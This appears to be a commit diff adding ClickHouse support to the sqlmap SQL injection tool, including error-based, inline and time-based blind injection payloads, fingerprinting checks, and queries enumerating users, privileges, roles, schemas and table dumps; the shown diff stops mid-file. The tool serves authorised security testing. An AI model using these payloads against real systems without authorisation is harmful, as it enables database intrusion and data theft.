Add Clickhouse support (#5229)

Co-authored-by: pentest <>
2024-11-25 11:03:47 +03:00 · 2023-02-03 23:10:12 +01:00 · 2023-02-03 23:10:12 +01:00 · 8962e152ac
commit 8962e152ac
parent c58383e684
19 changed files with 335 additions and 9 deletions
--- a/data/xml/errors.xml
+++ b/data/xml/errors.xml
@ -211,6 +211,10 @@
        <error regexp="Syntax error,[^\n]+assumed to mean"/>
    </dbms>

+    <dbms value="Clickhouse">
+        <error regexp="DB::Exception: Syntax error:"/>
+    </dbms>
+
    <dbms value="CrateDB">
        <error regexp="io\.crate\.client\.jdbc"/>
    </dbms>
--- a/data/xml/payloads/error_based.xml
+++ b/data/xml/payloads/error_based.xml
@ -853,6 +853,26 @@
        </details>
    </test>

+
+    <test>
+        <title>Clickhouse AND error-based - Parameter replace</title>
+        <stype>2</stype>
+        <level>2</level>
+        <risk>1</risk>
+        <clause>1,2,3,9</clause>
+        <where>1</where>
+        <vector>AND [RANDNUM]=CAST('[DELIMITER_START]'||CAST(([QUERY]), 'String')||'[DELIMITER_STOP]' AS String)</vector>
+        <request>
+            <payload>AND [RANDNUM]=CAST('[DELIMITER_START]'||CAST((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)), 'String')||'[DELIMITER_STOP]' AS String)</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>Clickhouse</dbms>
+        </details>
+    </test>
+
    <!--
         TODO: if possible, add payload for SQLite, Microsoft Access,
         and SAP MaxDB - no known techniques at this time
--- a/data/xml/payloads/inline_query.xml
+++ b/data/xml/payloads/inline_query.xml
@ -133,5 +133,25 @@
            <dbms>Firebird</dbms>
        </details>
    </test>
+
+    <test>
+        <title>Clickhouse inline queries</title>
+        <stype>3</stype>
+        <level>2</level>
+        <risk>1</risk>
+        <clause>1,2,3,8</clause>
+        <where>3</where>
+        <vector>(SELECT '[DELIMITER_START]'||CAST(([QUERY]), 'String')||'[DELIMITER_STOP]')</vector>
+        <request>
+            <payload>(SELECT '[DELIMITER_START]'||CAST((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)), 'String')||'[DELIMITER_STOP]')</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>Clickhouse</dbms>
+        </details>
+    </test>
+    
    <!-- End of inline queries tests -->
 </root>
--- a/data/xml/payloads/time_blind.xml
+++ b/data/xml/payloads/time_blind.xml
@ -1494,6 +1494,26 @@
        </details>
    </test>

+
+    <test>
+        <title>Clickhouse AND time-based blind (heavy query) - fuzzBits</title>
+        <stype>5</stype>
+        <level>3</level>
+        <risk>1</risk>
+        <clause>1,2,3</clause>
+        <where>1</where>
+        <vector>OR [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(if(([INFERENCE]), 1000000, 1)))</vector>
+        <request>
+            <payload>OR [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(1000000))</payload>
+        </request>
+        <response>
+            <time>[DELAYED]</time>
+        </response>
+        <details>
+            <dbms>Clickhouse</dbms>
+        </details>
+    </test>
+
    <!-- End of time-based boolean tests -->

    <!-- Time-based boolean tests - Numerous clauses -->
--- a/data/xml/queries.xml
+++ b/data/xml/queries.xml
@ -1319,6 +1319,75 @@
        </search_column>
    </dbms>

+    <dbms value="Clickhouse">
+        <cast query="CAST(%s AS String)"/>
+        <length query="length(%s)"/>
+        <isnull query="ifNull(%s, '')"/>
+        <delimiter query="||"/>
+        <limit query="LIMIT %d OFFSET %d"/>
+        <limitregexp query="\s+LIMIT\s+([\d]+)\s+OFFSET\s+([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
+        <limitgroupstart query="2"/>
+        <limitgroupstop query="1"/>
+        <limitstring query=" LIMIT "/>
+        <order query="ORDER BY %s ASC"/>
+        <count query="COUNT(%s)"/>
+        <comment query="--" query2="/*"/>
+        <substring query="substring(%s,%d,%d)"/>
+        <concatenate query="%s||%s"/>
+        <case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
+        <inference query="substring((%s),%d,1)>'%c'" />
+        <banner query="select version()"/>
+        <current_user query="currentUser()"/>
+        <current_db query="currentDatabase()"/>
+        <hostname query="hostName()"/>
+        <table_comment/>
+        <column_comment/>
+        <is_dba query="(SELECT access_type FROM system.grants WHERE user_name=currentUser())='ALL'"/>
+        <check_udf/>
+        <users>
+            <inband query="SELECT name FROM system.users"/>
+            <blind query="SELECT name FROM system.users LIMIT %d,1" count="SELECT COUNT(name) FROM system.users"/>
+        </users>
+        <passwords/>
+        <privileges>
+            <inband query="SELECT DISTINCT user_name,access_type FROM system.grants" condition="user_name"/>
+            <blind query="SELECT DISTINCT(access_type) FROM system.grants WHERE user_name='%s' ORDER BY access_type LIMIT %d,1" count="SELECT COUNT(DISTINCT(access_type)) FROM system.grants WHERE user_name='%s'"/>
+        </privileges>
+        <roles>
+            <inband query="SELECT DISTINCT user_name,role_name FROM system.role_grants" condition="user_name"/>
+            <blind query="SELECT DISTINCT(role_name) FROM system.role_grants WHERE user_name='%s' ORDER BY role_name LIMIT %d,1" count="SELECT COUNT(DISTINCT(role_name)) FROM system.role_grants WHERE user_name='%s'"/>
+        </roles>
+        <statements/>
+        <dbs>
+            <inband query="SELECT schema_name FROM information_schema.schemata"/>
+            <blind query="SELECT schema_name FROM information_schema.schemata ORDER BY schema_name LIMIT 1 OFFSET %d" count="SELECT COUNT(schema_name) FROM information_schema.schemata"/>
+        </dbs>
+        <tables>
+            <inband query="SELECT table_schema,table_name FROM information_schema.tables" condition="table_schema"/>
+            <blind query="SELECT table_name FROM information_schema.tables WHERE table_schema='%s' LIMIT 1 OFFSET %d" count="SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema='%s'"/>
+        </tables>
+        <columns>
+            <inband query="SELECT column_name,column_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
+            <blind query="SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s' LIMIT %d,1" query2="SELECT column_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND column_name='%s' AND table_schema='%s'" count="SELECT COUNT(column_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
+        </columns>
+        <dump_table>
+            <inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
+            <blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT %d,1 " count="SELECT COUNT(*) FROM %s.%s"/>
+        </dump_table>
+        <search_table>
+            <inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.TABLES WHERE %s" condition="table_name" condition2="table_schema"/>
+            <blind query="SELECT DISTINCT(table_schema) FROM INFORMATION_SCHEMA.TABLES WHERE %s" query2="SELECT DISTINCT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM INFORMATION_SCHEMA.TABLES WHERE %s" count2="SELECT COUNT(DISTINCT(table_name)) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'" condition="table_name" condition2="table_schema"/>
+        </search_table>
+        <search_column>
+            <inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" condition="column_name" condition2="table_schema" condition3="table_name"/>
+            <blind query="SELECT DISTINCT(table_schema) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" query2="SELECT DISTINCT(table_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" count2="SELECT COUNT(DISTINCT(table_name)) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s'" condition="column_name" condition2="table_schema" condition3="table_name"/>
+        </search_column>
+        <search_db>
+            <inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" condition="schema_name"/>
+            <blind query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" count="SELECT COUNT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" condition="schema_name"/>
+        </search_db>
+    </dbms>
+
    <dbms value="CrateDB">
        <cast query="CAST(%s AS TEXT)"/>
        <length query="CHAR_LENGTH((%s)::text)"/>
--- a/lib/controller/handler.py
+++ b/lib/controller/handler.py
@ -14,6 +14,7 @@ from lib.core.exception import SqlmapConnectionException
 from lib.core.settings import ACCESS_ALIASES
 from lib.core.settings import ALTIBASE_ALIASES
 from lib.core.settings import CACHE_ALIASES
+from lib.core.settings import CLICKHOUSE_ALIASES
 from lib.core.settings import CRATEDB_ALIASES
 from lib.core.settings import CUBRID_ALIASES
 from lib.core.settings import DB2_ALIASES
@ -46,6 +47,8 @@ from plugins.dbms.altibase.connector import Connector as AltibaseConn
 from plugins.dbms.altibase import AltibaseMap
 from plugins.dbms.cache.connector import Connector as CacheConn
 from plugins.dbms.cache import CacheMap
+from plugins.dbms.clickhouse.connector import Connector as ClickhouseConn
+from plugins.dbms.clickhouse import ClickhouseMap
 from plugins.dbms.cratedb.connector import Connector as CrateDBConn
 from plugins.dbms.cratedb import CrateDBMap
 from plugins.dbms.cubrid.connector import Connector as CubridConn
@ -122,6 +125,7 @@ def setHandler():
        (DBMS.PRESTO, PRESTO_ALIASES, PrestoMap, PrestoConn),
        (DBMS.ALTIBASE, ALTIBASE_ALIASES, AltibaseMap, AltibaseConn),
        (DBMS.MIMERSQL, MIMERSQL_ALIASES, MimerSQLMap, MimerSQLConn),
+        (DBMS.CLICKHOUSE, CLICKHOUSE_ALIASES, ClickhouseMap, ClickhouseConn),
        (DBMS.CRATEDB, CRATEDB_ALIASES, CrateDBMap, CrateDBConn),
        (DBMS.CUBRID, CUBRID_ALIASES, CubridMap, CubridConn),
        (DBMS.CACHE, CACHE_ALIASES, CacheMap, CacheConn),
--- a/lib/core/dicts.py
+++ b/lib/core/dicts.py
@ -38,6 +38,7 @@ from lib.core.settings import SQLITE_ALIASES
 from lib.core.settings import SYBASE_ALIASES
 from lib.core.settings import VERTICA_ALIASES
 from lib.core.settings import VIRTUOSO_ALIASES
+from lib.core.settings import CLICKHOUSE_ALIASES

 FIREBIRD_TYPES = {
    261: "BLOB",
@ -241,6 +242,7 @@ DBMS_DICT = {
    DBMS.PRESTO: (PRESTO_ALIASES, "presto-python-client", "https://github.com/prestodb/presto-python-client", None),
    DBMS.ALTIBASE: (ALTIBASE_ALIASES, None, None, None),
    DBMS.MIMERSQL: (MIMERSQL_ALIASES, "mimerpy", "https://github.com/mimersql/MimerPy", None),
+    DBMS.CLICKHOUSE: (CLICKHOUSE_ALIASES, "clickhouse_connect", "https://github.com/ClickHouse/clickhouse-connect", None),
    DBMS.CRATEDB: (CRATEDB_ALIASES, "python-psycopg2", "https://github.com/psycopg/psycopg2", "postgresql"),
    DBMS.CUBRID: (CUBRID_ALIASES, "CUBRID-Python", "https://github.com/CUBRID/cubrid-python", None),
    DBMS.CACHE: (CACHE_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & https://github.com/jpype-project/jpype", None),
@ -286,6 +288,7 @@ HEURISTIC_NULL_EVAL = {
    DBMS.EXTREMEDB: "NULLIFZERO(hashcode(NULL))",
    DBMS.RAIMA: "IF(ROWNUMBER()>0,CONVERT(NULL,TINYINT),NULL))",
    DBMS.VIRTUOSO: "__MAX_NOTNULL(NULL)",
+    DBMS.CLICKHOUSE: "coalesce(NULL)",
 }

 SQL_STATEMENTS = {
--- a/lib/core/enums.py
+++ b/lib/core/enums.py
@ -52,6 +52,7 @@ class DBMS(object):
    PRESTO = "Presto"
    ALTIBASE = "Altibase"
    MIMERSQL = "MimerSQL"
+    CLICKHOUSE = "Clickhouse"
    CRATEDB = "CrateDB"
    CUBRID = "Cubrid"
    CACHE = "InterSystems Cache"
@ -81,6 +82,7 @@ class DBMS_DIRECTORY_NAME(object):
    PRESTO = "presto"
    ALTIBASE = "altibase"
    MIMERSQL = "mimersql"
+    CLICKHOUSE = "clickhouse"
    CRATEDB = "cratedb"
    CUBRID = "cubrid"
    CACHE = "cache"
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@ -283,6 +283,7 @@ PRESTO_SYSTEM_DBS = ("information_schema",)
 ALTIBASE_SYSTEM_DBS = ("SYSTEM_",)
 MIMERSQL_SYSTEM_DBS = ("information_schema", "SYSTEM",)
 CRATEDB_SYSTEM_DBS = ("information_schema", "pg_catalog", "sys")
+CLICKHOUSE_SYSTEM_DBS = ("information_schema", "system")
 CUBRID_SYSTEM_DBS = ("DBA",)
 CACHE_SYSTEM_DBS = ("%Dictionary", "INFORMATION_SCHEMA", "%SYS")
 EXTREMEDB_SYSTEM_DBS = ("",)
@ -313,6 +314,7 @@ ALTIBASE_ALIASES = ("altibase",)
 MIMERSQL_ALIASES = ("mimersql", "mimer")
 CRATEDB_ALIASES = ("cratedb", "crate")
 CUBRID_ALIASES = ("cubrid",)
+CLICKHOUSE_ALIASES = ("clickhouse",)
 CACHE_ALIASES = ("intersystems cache", "cachedb", "cache", "iris")
 EXTREMEDB_ALIASES = ("extremedb", "extreme")
 FRONTBASE_ALIASES = ("frontbase",)
@ -321,10 +323,10 @@ VIRTUOSO_ALIASES = ("virtuoso", "openlink virtuoso")

 DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_"))

-SUPPORTED_DBMS = set(MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CRATEDB_ALIASES + CUBRID_ALIASES + CACHE_ALIASES + EXTREMEDB_ALIASES + RAIMA_ALIASES + VIRTUOSO_ALIASES)
+SUPPORTED_DBMS = set(MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CLICKHOUSE_ALIASES + CRATEDB_ALIASES + CUBRID_ALIASES + CACHE_ALIASES + EXTREMEDB_ALIASES + RAIMA_ALIASES + VIRTUOSO_ALIASES)
 SUPPORTED_OS = ("linux", "windows")

-DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES), (DBMS.MIMERSQL, MIMERSQL_ALIASES), (DBMS.CRATEDB, CRATEDB_ALIASES), (DBMS.CUBRID, CUBRID_ALIASES), (DBMS.CACHE, CACHE_ALIASES), (DBMS.EXTREMEDB, EXTREMEDB_ALIASES), (DBMS.FRONTBASE, FRONTBASE_ALIASES), (DBMS.RAIMA, RAIMA_ALIASES), (DBMS.VIRTUOSO, VIRTUOSO_ALIASES))
+DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES), (DBMS.MIMERSQL, MIMERSQL_ALIASES), (DBMS.CLICKHOUSE, CLICKHOUSE_ALIASES), (DBMS.CRATEDB, CRATEDB_ALIASES), (DBMS.CUBRID, CUBRID_ALIASES), (DBMS.CACHE, CACHE_ALIASES), (DBMS.EXTREMEDB, EXTREMEDB_ALIASES), (DBMS.FRONTBASE, FRONTBASE_ALIASES), (DBMS.RAIMA, RAIMA_ALIASES), (DBMS.VIRTUOSO, VIRTUOSO_ALIASES))

 USER_AGENT_ALIASES = ("ua", "useragent", "user-agent")
 REFERER_ALIASES = ("ref", "referer", "referrer")
--- a/lib/utils/deps.py
+++ b/lib/utils/deps.py
@ -58,6 +58,8 @@ def checkDependencies():
                __import__("mimerpy")
            elif dbmsName == DBMS.CUBRID:
                __import__("CUBRIDdb")
+            elif dbmsName == DBMS.CLICKHOUSE:
+                __import__("clickhouse_connect")       
        except:
            warnMsg = "sqlmap requires '%s' third-party library " % data[1]
            warnMsg += "in order to directly connect to the DBMS "
--- a/plugins/dbms/clickhouse/init.py
+++ b/plugins/dbms/clickhouse/init.py
@ -0,0 +1,23 @@
+from lib.core.enums import DBMS
+from lib.core.settings import CLICKHOUSE_SYSTEM_DBS
+from lib.core.unescaper import unescaper
+
+from plugins.dbms.clickhouse.enumeration import Enumeration
+from plugins.dbms.clickhouse.filesystem import Filesystem
+from plugins.dbms.clickhouse.fingerprint import Fingerprint
+from plugins.dbms.clickhouse.syntax import Syntax
+from plugins.dbms.clickhouse.takeover import Takeover
+from plugins.generic.misc import Miscellaneous
+
+class ClickhouseMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
+    """
+    This class defines clickhouse methods
+    """
+
+    def __init__(self):
+        self.excludeDbsList = CLICKHOUSE_SYSTEM_DBS
+
+        for cls in self.__class__.__bases__:
+            cls.__init__(self)
+
+    unescaper[DBMS.CLICKHOUSE] = Syntax.escape
--- a/plugins/dbms/clickhouse/connector.py
+++ b/plugins/dbms/clickhouse/connector.py
@ -0,0 +1,14 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+from lib.core.common import getSafeExString
+from lib.core.data import logger
+from lib.core.exception import SqlmapConnectionException
+from plugins.generic.connector import Connector as GenericConnector
+
+class Connector(GenericConnector):
+    pass
--- a/plugins/dbms/clickhouse/enumeration.py
+++ b/plugins/dbms/clickhouse/enumeration.py
@ -0,0 +1,12 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+from lib.core.data import logger
+from plugins.generic.enumeration import Enumeration as GenericEnumeration
+
+class Enumeration(GenericEnumeration):
+    pass
--- a/plugins/dbms/clickhouse/filesystem.py
+++ b/plugins/dbms/clickhouse/filesystem.py
@ -0,0 +1,11 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+from plugins.generic.filesystem import Filesystem as GenericFilesystem
+
+class Filesystem(GenericFilesystem):
+    pass
--- a/plugins/dbms/clickhouse/fingerprint.py
+++ b/plugins/dbms/clickhouse/fingerprint.py
@ -0,0 +1,91 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+from lib.core.common import Backend
+from lib.core.common import Format
+from lib.core.data import conf
+from lib.core.data import kb
+from lib.core.data import logger
+from lib.core.enums import DBMS
+from lib.core.session import setDbms
+from lib.core.settings import CLICKHOUSE_ALIASES
+from lib.request import inject
+from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
+
+class Fingerprint(GenericFingerprint):
+    def __init__(self):
+        GenericFingerprint.__init__(self, DBMS.CLICKHOUSE)
+
+    def getFingerprint(self):
+        value = ""
+        wsOsFp = Format.getOs("web server", kb.headersFp)
+
+        if wsOsFp:
+            value += "%s\n" % wsOsFp
+
+        if kb.data.banner:
+            dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp)
+
+            if dbmsOsFp:
+                value += "%s\n" % dbmsOsFp
+
+        value += "back-end DBMS: "
+
+        if not conf.extensiveFp:
+            value += DBMS.CLICKHOUSE
+            return value
+
+        actVer = Format.getDbms()
+        blank = " " * 15
+        value += "active fingerprint: %s" % actVer
+
+        if kb.bannerFp:
+            banVer = kb.bannerFp.get("dbmsVersion")
+
+            if banVer:
+                banVer = Format.getDbms([banVer])
+                value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
+
+        htmlErrorFp = Format.getErrorParsedDBMSes()
+
+        if htmlErrorFp:
+            value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
+
+        return value
+
+    def checkDbms(self):
+        if not conf.extensiveFp and Backend.isDbmsWithin(CLICKHOUSE_ALIASES):
+            setDbms(DBMS.CLICKHOUSE)
+
+            self.getBanner()
+
+            return True
+
+        infoMsg = "testing %s" % DBMS.CLICKHOUSE
+        logger.info(infoMsg)
+        
+        result = inject.checkBooleanExpression("halfMD5('abcd')='16356072519128051347'")
+
+        if result:
+            infoMsg = "confirming %s" % DBMS.CLICKHOUSE
+            logger.info(infoMsg)
+            result = inject.checkBooleanExpression("generateUUIDv4(1)!=generateUUIDv4(2)")
+
+            if not result:
+                warnMsg = "the back-end DBMS is not %s" % DBMS.CLICKHOUSE
+                logger.warn(warnMsg)
+
+                return False
+            
+            setDbms(DBMS.CLICKHOUSE)
+            self.getBanner()
+            return True
+        else:
+            warnMsg = "the back-end DBMS is not %s" % DBMS.CLICKHOUSE
+            logger.warn(warnMsg)
+
+            return False
--- a/plugins/dbms/clickhouse/syntax.py
+++ b/plugins/dbms/clickhouse/syntax.py
@ -0,0 +1,18 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+from plugins.generic.syntax import Syntax as GenericSyntax
+
+class Syntax(GenericSyntax):
+    @staticmethod
+    def escape(expression, quote=True):
+        """
+        >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == u"SELECT 'abcdefgh' FROM foobar"
+        True
+        """
+
+        return expression
--- a/plugins/dbms/clickhouse/takeover.py
+++ b/plugins/dbms/clickhouse/takeover.py
@ -0,0 +1,11 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+from plugins.generic.takeover import Takeover as GenericTakeover
+
+class Takeover(GenericTakeover):
+    pass
--- a/plugins/generic/databases.py
+++ b/plugins/generic/databases.py
@ -83,7 +83,7 @@ class Databases(object):
        if not kb.data.currentDb and Backend.isDbms(DBMS.VERTICA):
            kb.data.currentDb = VERTICA_DEFAULT_SCHEMA

-        if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE):
+        if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.CLICKHOUSE):
            warnMsg = "on %s you'll need to use " % Backend.getIdentifiedDbms()
            warnMsg += "schema names for enumeration as the counterpart to database "
            warnMsg += "names on other DBMSes"
@ -108,7 +108,7 @@ class Databases(object):
            warnMsg += "names will be fetched from 'mysql' database"
            logger.warning(warnMsg)

-        elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE):
+        elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.CLICKHOUSE):
            warnMsg = "schema names are going to be used on %s " % Backend.getIdentifiedDbms()
            warnMsg += "for enumeration as the counterpart to database "
            warnMsg += "names on other DBMSes"
@ -621,7 +621,7 @@ class Databases(object):
                    condQueryStr = "%%s%s" % colCondParam
                    condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList))

-                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO):
+                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO, DBMS.CLICKHOUSE):
                    query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
                    query += condQuery

@ -757,7 +757,7 @@ class Databases(object):
                    condQueryStr = "%%s%s" % colCondParam
                    condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList))

-                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO):
+                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO, DBMS.CLICKHOUSE):
                    query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
                    query += condQuery

@ -838,7 +838,7 @@ class Databases(object):
                        query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper()))
                        query = query.replace(" ORDER BY ", "%s ORDER BY " % condQuery)
                        field = None
-                    elif Backend.isDbms(DBMS.MONETDB):
+                    elif Backend.getIdentifiedDbms() in (DBMS.MONETDB, DBMS.CLICKHOUSE):
                        query = safeStringFormat(rootQuery.blind.query, (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db), index))
                        field = None
                    elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE):
@ -880,7 +880,7 @@ class Databases(object):
                                singleTimeWarnMessage(warnMsg)

                        if not onlyColNames:
-                            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO):
+                            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO, DBMS.CLICKHOUSE):
                                query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db))
                            elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL):
